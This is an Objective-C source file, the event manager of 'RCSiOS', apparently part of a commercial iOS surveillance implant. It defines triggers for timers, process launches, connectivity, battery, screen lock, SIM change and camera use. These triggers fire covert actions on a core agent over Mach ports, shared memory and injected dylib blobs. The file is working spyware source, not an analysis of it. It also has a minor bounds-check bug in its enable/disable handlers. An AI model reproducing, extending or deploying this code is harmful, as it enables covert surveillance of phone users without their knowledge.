core/Modules/RCSIEventManager.m
/*
* RCSiOS - Events
* Provides all the events which should trigger an action
*
*
* Created on 26/05/2009
* Copyright (C) HT srl 2009. All rights reserved
*
*/
#import <CoreFoundation/CoreFoundation.h>
#include <SystemConfiguration/SystemConfiguration.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/socket.h>
#import "RCSIEventManager.h"
#import "RCSICommon.h"
#import "RCSITaskManager.h"
#import "RCSISharedMemory.h"
#import "RCSIActionManager.h"
#import "Reachability.h"
#import "RCSIEventTimer.h"
#import "RCSIEventProcess.h"
#import "RCSIEventConnectivity.h"
#import "RCSIEventBattery.h"
#import "RCSIEventACPower.h"
#import "RCSIEventScreensaver.h"
#import "RCSIEventSimChange.h"
#import "RCSINullEvent.h"
//#define DEBUG_
NSString *kRunLoopEventManagerMode = @"kRunLoopEventManagerMode";
#pragma mark -
#pragma mark Events Data Struct Definition
#pragma mark -
//
// struct for events data
//
typedef struct _timer {
u_int type;
u_int loDelay;
u_int hiDelay;
u_int endAction;
} timerStruct;
typedef struct _process {
u_int onClose;
u_int lookForTitle; // 1 for Title - 0 for Process Name
u_int nameLength;
char name[256]; // Name is unicode here
} processStruct;
typedef struct _connection {
u_int onClose;
u_long typeOfConnection; // 1 for Wifi - 2 for GPRS - 3 for WiFI || GPRS
} connectionStruct;
typedef struct _smsEvent {
u_int phoneNumberLength; // cString Length
NSString *phoneNumber; // Unicode
u_int smsTextLength; // cString Length
NSString *smsText; // Unicode
} smsStruct;
typedef struct _call {
u_int onClose;
u_int phoneNumberLength; // cString Length
NSString *phoneNumber; // Unicode
} callStruct;
typedef struct _simChange {
u_int onClose;
} simChangeStruct;
typedef struct _ac {
u_int onClose;
} acStruct;
typedef struct _batteryLevel {
u_int onClose;
u_int minLevel;
u_int maxLevel;
} batteryLevelStruct;
NSLock *connectionLock;
@implementation _i_EventManager : NSObject
@synthesize notificationPort;
#pragma mark -
#pragma mark Class and init methods
#pragma mark -
- (id)init
{
self = [super init];
if (self != nil)
{
eventsMessageQueue = [[NSMutableArray alloc] initWithCapacity:0];
eventsList = nil;
notificationPort = nil;
}
return self;
}
- (void)dealloc
{
[eventsMessageQueue release];
eventsMessageQueue = nil;
notificationPort = nil;
[eventsList release];
[super dealloc];
}
#pragma mark -
#pragma mark Events list support
#pragma mark -
- (NSDate*)calculateDateFromMidnight:(NSTimeInterval)aInterval
{
NSRange fixedRange;
fixedRange.location = 11;
fixedRange.length = 8;
//date description format: YYYY-MM-DD HH:MM:SS ±HHMM
// UTC timers
NSTimeZone *timeZone = [NSTimeZone timeZoneWithName:@"UTC"];
NSDateFormatter *inFormat = [[NSDateFormatter alloc] init];
[inFormat setTimeZone:timeZone];
[inFormat setDateFormat: @"yyyy-MM-dd HH:mm:ss ZZZ"];
// Get current date string UTC
NSDate *now = [NSDate date];
NSString *currDateStr = [inFormat stringFromDate: now];
[inFormat release];
// Create string from current date: yyyy-MM-dd hh:mm:ss ZZZ
NSMutableString *dayStr = [[NSMutableString alloc] initWithString: currDateStr];
// reset current date time to midnight
[dayStr replaceCharactersInRange: fixedRange withString: @"00:00:00"];
NSDateFormatter *outFormat = [[NSDateFormatter alloc] init];
[outFormat setTimeZone:timeZone];
[outFormat setDateFormat: @"yyyy-MM-dd HH:mm:ss ZZZ"];
// Current midnite
NSDate *midnight = [outFormat dateFromString: dayStr];
[dayStr release];
NSTimeInterval intervalFromMidnite = [midnight timeIntervalSince1970];
aInterval += intervalFromMidnite;
NSDate *dateFromMidnite = (NSDate*)[NSDate dateWithTimeIntervalSince1970:aInterval];
[outFormat release];
return dateFromMidnite;
}
- (void)addEventTimerInstance:(NSMutableDictionary*)theEvent
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
_i_EventTimer *timer = [[_i_EventTimer alloc] init];
[theEvent retain];
timerStruct *timerRawData = (timerStruct *)[[theEvent objectForKey: @"data"] bytes];
int type = timerRawData->type;
uint low = timerRawData->loDelay;
uint high = timerRawData->hiDelay;
[timer setEnabled:[theEvent objectForKey: @"enabled"]];
[timer setStart: [theEvent objectForKey: @"start"]];
[timer setRepeat: [theEvent objectForKey: @"repeat"]];
[timer setEnd: [theEvent objectForKey: @"end"]];
[timer setIter: [theEvent objectForKey: @"iter"]];
[timer setDelay: [theEvent objectForKey:@"delay"]];
[timer setTimerType: type];
switch (type)
{
case TIMER_LOOP:
{
break;
}
case TIMER_AFTER_STARTUP:
{
// timer with startDate only
if (low != 0xFFFFFFFF)
[timer setStartDate: [NSDate dateWithTimeIntervalSinceNow:(low/1000)]];
break;
}
case TIMER_INST:
{
int64_t high64 = high;
int64_t sec = ((high64 << 32) & 0xFFFFFFFF00000000) + low;
sec /= 10000000LL;
NSString *execName = [[NSBundle mainBundle] bundlePath];
NSDictionary *execProps = [[NSFileManager defaultManager] attributesOfItemAtPath: execName error:nil];
NSDate *execCreationDate = [execProps objectForKey:NSFileCreationDate];
NSTimeInterval execCreationInterval = [execCreationDate timeIntervalSince1970];
// timer with startDate only
[timer setStartDate: [NSDate dateWithTimeIntervalSince1970: execCreationInterval + sec]];
break;
}
case TIMER_DATE:
{
int64_t winTime;
int64_t high64 = high;
winTime = ((high64 << 32) & 0xFFFFFFFF00000000) + low;
NSTimeInterval unixTime;
unixTime = (winTime - EPOCH_DIFF)/RATE_DIFF;
// timer with startDate only
[timer setStartDate: [NSDate dateWithTimeIntervalSince1970: unixTime]];
break;
}
case TIMER_DAILY:
{
[timer setStartDate: [self calculateDateFromMidnight: low/1000]];
[timer setEndDate: [self calculateDateFromMidnight: high/1000]];
break;
}
default:
break;
}
[theEvent setObject: timer forKey: @"object"];
[theEvent release];
[timer release];
[pool release];
}
- (void)addEventProcessInstance:(NSMutableDictionary*)theEvent
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
_i_EventProcess *proc = [[_i_EventProcess alloc] init];
[theEvent retain];
processStruct *processRawData = (processStruct *)[[theEvent objectForKey: @"data"] bytes];
NSData *tempData = [NSData dataWithBytes: processRawData->name
length: processRawData->nameLength];
NSString *processName = [[NSString alloc] initWithData: tempData
encoding: NSUTF16LittleEndianStringEncoding];
[proc setProcessName: processName];
[proc setEnabled:[theEvent objectForKey: @"enabled"]];
[proc setStart: [theEvent objectForKey: @"start"]];
[proc setRepeat: [theEvent objectForKey: @"repeat"]];
[proc setEnd: [theEvent objectForKey: @"end"]];
[proc setIter: [theEvent objectForKey: @"iter"]];
[proc setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: proc forKey: @"object"];
[processName release];
[theEvent release];
[proc release];
[pool release];
}
- (void)addEventConnectivityInstance:(NSMutableDictionary*)theEvent
{
_i_EventConnectivity *conn = [[_i_EventConnectivity alloc] init];
[theEvent retain];
[conn setEnabled:[theEvent objectForKey: @"enabled"]];
[conn setStart: [theEvent objectForKey: @"start"]];
[conn setRepeat: [theEvent objectForKey: @"repeat"]];
[conn setEnd: [theEvent objectForKey: @"end"]];
[conn setIter: [theEvent objectForKey: @"iter"]];
[conn setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: conn forKey: @"object"];
[theEvent release];
[conn release];
}
- (void)addEventBatteryInstance:(NSMutableDictionary*)theEvent
{
_i_EventBattery *batt = [[_i_EventBattery alloc] init];
[theEvent retain];
batteryLevelStruct *batteryRawData =
(batteryLevelStruct *)[[theEvent objectForKey: @"data"] bytes];
[batt setEnabled:[theEvent objectForKey: @"enabled"]];
[batt setStart: [theEvent objectForKey: @"start"]];
[batt setRepeat: [theEvent objectForKey: @"repeat"]];
[batt setEnd: [theEvent objectForKey: @"end"]];
[batt setIter: [theEvent objectForKey: @"iter"]];
[batt setDelay: [theEvent objectForKey:@"delay"]];
[batt setMinLevel: batteryRawData->minLevel];
[batt setMaxLevel: batteryRawData->maxLevel];
[theEvent setObject: batt forKey: @"object"];
[theEvent release];
[batt release];
}
- (void)addEventACInstance:(NSMutableDictionary*)theEvent
{
_i_EventACPower *ac = [[_i_EventACPower alloc] init];
[theEvent retain];
[ac setEnabled:[theEvent objectForKey: @"enabled"]];
[ac setStart: [theEvent objectForKey: @"start"]];
[ac setRepeat: [theEvent objectForKey: @"repeat"]];
[ac setEnd: [theEvent objectForKey: @"end"]];
[ac setIter: [theEvent objectForKey: @"iter"]];
[ac setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: ac forKey: @"object"];
[theEvent release];
[ac release];
}
- (void)addEventScreensaverInstance:(NSMutableDictionary*)theEvent
{
_i_EventScreensaver *scrsvr = [[_i_EventScreensaver alloc] init];
[theEvent retain];
[scrsvr setEnabled:[theEvent objectForKey: @"enabled"]];
[scrsvr setStart: [theEvent objectForKey: @"start"]];
[scrsvr setRepeat: [theEvent objectForKey: @"repeat"]];
[scrsvr setEnd: [theEvent objectForKey: @"end"]];
[scrsvr setIter: [theEvent objectForKey: @"iter"]];
[scrsvr setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: scrsvr forKey: @"object"];
[theEvent release];
[scrsvr release];
}
- (void)addEventSimChangeInstance:(NSMutableDictionary*)theEvent
{
_i_EventSimChange *sim = [[_i_EventSimChange alloc] init];
[theEvent retain];
[sim setEnabled:[theEvent objectForKey: @"enabled"]];
[sim setStart: [theEvent objectForKey: @"start"]];
[sim setRepeat: [theEvent objectForKey: @"repeat"]];
[sim setEnd: [theEvent objectForKey: @"end"]];
[sim setIter: [theEvent objectForKey: @"iter"]];
[sim setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: sim forKey: @"object"];
[theEvent release];
[sim release];
}
- (void)addEventNullInstance:(NSMutableDictionary*)theEvent
{
_i_NullEvent *nullEvent = [[_i_NullEvent alloc] init];
[theEvent retain];
[nullEvent setEventType:[[theEvent objectForKey: @"type"] intValue]];
[nullEvent setEnabled:[theEvent objectForKey: @"enabled"]];
[nullEvent setStart: [theEvent objectForKey: @"start"]];
[nullEvent setRepeat: [theEvent objectForKey: @"repeat"]];
[nullEvent setEnd: [theEvent objectForKey: @"end"]];
[nullEvent setIter: [theEvent objectForKey: @"iter"]];
[nullEvent setDelay: [theEvent objectForKey:@"delay"]];
[theEvent setObject: nullEvent forKey: @"object"];
[theEvent release];
[nullEvent release];
}
#pragma mark -
#pragma mark Messages dispatch and processing
#pragma mark -
typedef struct _coreMessage_t
{
mach_msg_header_t header;
uint dataLen;
} coreMessage_t;
- (void)dispatchMsgToCore:(u_int)aType
param:(u_int)aParam
{
shMemoryLog params;
params.agentID = aType;
params.flag = aParam;
NSData *msgData = [[NSData alloc] initWithBytes: ¶ms
length: sizeof(shMemoryLog)];
[_i_SharedMemory sendMessageToCoreMachPort: msgData];
[msgData release];
}
- (BOOL)addMessage: (NSData*)aMessage
{
@synchronized(eventsMessageQueue)
{
[eventsMessageQueue addObject: aMessage];
}
return TRUE;
}
- (BOOL)triggerAction:(uint)anAction
{
[self dispatchMsgToCore: EVENT_TRIGGER_ACTION param: anAction];
return TRUE;
}
- (void)setStandyProperties:(int)aProp
{
for (int i=0; i<[eventsList count]; i++)
{
NSMutableDictionary *event = [eventsList objectAtIndex:i];
if (EVENT_STANDBY == [[event objectForKey: @"type"] intValue])
{
_i_EventScreensaver *scr = [event objectForKey: @"object"];
[scr setIsDeviceLocked:aProp];
}
}
}
- (BOOL)processEvent:(NSData *)aData
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if (aData == nil)
return FALSE;
shMemoryLog *anEvent = (shMemoryLog*)[aData bytes];
switch (anEvent->agentID)
{
case EVENT_CAMERA_APP:
{
gCameraActive = anEvent->flag == 1 ? TRUE : FALSE;
break;
}
case EVENT_STANDBY:
{
[self setStandyProperties:anEvent->flag];
break;
}
case EVENT_SIM_CHANGE:
{
[self triggerAction: anEvent->flag];
break;
}
case EVENT_TRIGGER_ACTION:
{
[self triggerAction:anEvent->commandType];
break;
}
case CORE_NOTIFICATION:
{
if (anEvent->flag == CORE_NEED_RESTART ||
anEvent->flag == CORE_NEED_STOP)
{
eventManagerStatus = EVENT_MANAGER_STOPPING;
[pool release];
return FALSE;
}
break;
}
case ACTION_EVENT_DISABLED:
{
if (anEvent->commandType < [eventsList count])
{
NSMutableDictionary *event = [eventsList objectAtIndex: anEvent->flag];
_i_Event *object = [event objectForKey: @"object"];
NSNumber *status = [NSNumber numberWithInt: 0];
[object setEnabled: status];
}
break;
}
case ACTION_EVENT_ENABLED:
{
if (anEvent->commandType < [eventsList count])
{
NSMutableDictionary *event = [eventsList objectAtIndex: anEvent->flag];
_i_Event *object = [event objectForKey: @"object"];
NSNumber *status = [NSNumber numberWithInt: 1];
[object setEnabled: status];
}
break;
}
default:
break;
}
[pool release];
return TRUE;
}
-(int)processIncomingEvents
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSMutableArray *tmpMessages;
@synchronized(eventsMessageQueue)
{
tmpMessages = [[eventsMessageQueue copy] autorelease];
[eventsMessageQueue removeAllObjects];
}
int logCount = [tmpMessages count];
for (int i=0; i < logCount; i++)
if ([self processEvent:[tmpMessages objectAtIndex:i]] == FALSE)
break;
[pool release];
return logCount;
}
- (void) handleMachMessage:(void *) msg
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
coreMessage_t *coreMsg = (coreMessage_t*)msg;
NSData *theData = [NSData dataWithBytes: ((u_char*)msg + sizeof(coreMessage_t))
length: coreMsg->dataLen];
[self addMessage: theData];
[pool release];
}
#pragma mark -
#pragma mark Events initialization
#pragma mark -
- (void)startRemoteEvent:(u_int)eventID
{
_i_DylibBlob *tmpBlob
= [[_i_DylibBlob alloc] initWithType:eventID
status:1
attributes:DYLIB_EVENT_START_ATTRIB
blob:nil
configId:[[_i_ConfManager sharedInstance] mConfigTimestamp]];
[[_i_SharedMemory sharedInstance] putBlob: tmpBlob];
[[_i_SharedMemory sharedInstance] writeIpcBlob: [tmpBlob blob]];
[tmpBlob release];
}
- (void)stopRemoteEvent:(u_int)eventID
{
_i_DylibBlob *tmpBlob
= [[_i_DylibBlob alloc] initWithType:eventID
status:1
attributes:DYLIB_EVENT_STOP_ATTRIB
blob:nil
configId:[[_i_ConfManager sharedInstance] mConfigTimestamp]];
[[_i_SharedMemory sharedInstance] putBlob: tmpBlob];
[[_i_SharedMemory sharedInstance] writeIpcBlob: [tmpBlob blob]];
[tmpBlob release];
}
- (void)startRemoteEvents
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
for (int i=0; i < [eventsList count]; i++)
{
NSMutableDictionary *theEvent = [eventsList objectAtIndex:i];
_i_Event *eventInst = [theEvent objectForKey: @"object"];
/*
* skip event null (used only for keep the correct position in event list)
*/
if ([eventInst eventType] == EVENT_NULL)
continue;
if (eventInst != nil)
{
switch ([eventInst eventType])
{
case EVENT_STANDBY:
[self startRemoteEvent:[eventInst eventType]];
break;
}
}
}
[pool release];
}
- (void)stopRemoteEvents
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
for (int i=0; i < [eventsList count]; i++)
{
NSMutableDictionary *theEvent = [eventsList objectAtIndex:i];
_i_Event *eventInst = [theEvent objectForKey: @"object"];
/*
* skip event null (used only for keep the correct position in event list)
*/
if ([eventInst eventType] == EVENT_NULL)
continue;
if (eventInst != nil)
{
switch ([eventInst eventType])
{
case EVENT_STANDBY:
[self stopRemoteEvent:[eventInst eventType]];
break;
}
}
}
[pool release];
}
- (void)removeTimersFromCurrentRunLoop
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
for (int i=0; i < [eventsList count]; i++)
{
NSMutableDictionary *theEvent = [eventsList objectAtIndex:i];
id eventInst = [theEvent objectForKey: @"object"];
/*
* skip event null (used only for keep the correct position in event list)
*/
if ([eventInst eventType] == EVENT_NULL)
continue;
if (eventInst != nil && [eventInst respondsToSelector:@selector(removeTimers)])
{
[eventInst performSelector:@selector(removeTimers)];
}
}
[pool release];
}
- (void)addTimersToCurrentRunLoop
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
for (int i=0; i < [eventsList count]; i++)
{
NSMutableDictionary *theEvent = [eventsList objectAtIndex:i];
id eventInst = [theEvent objectForKey: @"object"];
/*
* skip event null (used only for keep the correct position in event list)
*/
if ([eventInst eventType] == EVENT_NULL)
continue;
if (eventInst != nil && [eventInst respondsToSelector:@selector(setStartTimer)])
{
[eventInst performSelector:@selector(setStartTimer)];
}
}
[pool release];
}
- (BOOL)initEvents
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
id theEvent;
int eventPos = 0;
NSEnumerator *enumerator = [eventsList objectEnumerator];
while ((theEvent = [enumerator nextObject]))
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
switch ([[theEvent objectForKey: @"type"] intValue])
{
case EVENT_TIMER:
{
[self addEventTimerInstance: theEvent];
break;
}
case EVENT_PROCESS:
{
[self addEventProcessInstance: theEvent];
break;
}
case EVENT_CONNECTION:
{
[self addEventConnectivityInstance:theEvent];
break;
}
case EVENT_BATTERY:
{
[self addEventBatteryInstance:theEvent];
break;
}
case EVENT_AC:
{
[self addEventACInstance:theEvent];
break;
}
case EVENT_STANDBY:
{
[self addEventScreensaverInstance:theEvent];
break;
}
case EVENT_SIM_CHANGE:
{
[self addEventSimChangeInstance:theEvent];
break;
}
case EVENT_SMS:
{
[self addEventNullInstance:theEvent];
break;
}
case EVENT_CALL:
{
[self addEventNullInstance:theEvent];
break;
}
case EVENT_QUOTA:
{
[self addEventNullInstance:theEvent];
break;
}
default:
{
[self addEventNullInstance:theEvent];
break;
}
}
eventPos++;
[innerPool release];
}
[outerPool release];
return TRUE;
}
#pragma mark -
#pragma mark Main runloop
#pragma mark -
- (void)eventManagerRunLoop
{
eventManagerStatus = EVENT_MANAGER_RUNNING;
NSRunLoop *eventManagerRunLoop = [NSRunLoop currentRunLoop];
notificationPort = [[NSMachPort alloc] init];
[notificationPort setDelegate: self];
[eventManagerRunLoop addPort: notificationPort
forMode: kRunLoopEventManagerMode];
[self addTimersToCurrentRunLoop];
[self startRemoteEvents];
while (eventManagerStatus == EVENT_MANAGER_RUNNING)
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
[eventManagerRunLoop runMode: kRunLoopEventManagerMode
beforeDate: [NSDate dateWithTimeIntervalSinceNow:0.750]];
[self processIncomingEvents];
[pool release];
}
[self removeTimersFromCurrentRunLoop];
[self stopRemoteEvents];
[eventManagerRunLoop removePort: notificationPort
forMode: kRunLoopEventManagerMode];
[notificationPort release];
notificationPort = nil;
[self stop];
}
#pragma mark -
#pragma mark Agents proto implementation
#pragma mark -
- (BOOL)start
{
eventsList = [[_i_ConfManager sharedInstance] eventsArrayConfig];
if (eventsList == nil)
return FALSE;
[self initEvents];
[NSThread detachNewThreadSelector: @selector(eventManagerRunLoop)
toTarget: self withObject:nil];
return TRUE;
}
- (void)stop
{
[self dispatchMsgToCore:CORE_NOTIFICATION param: CORE_EVENT_STOPPED];
}
@end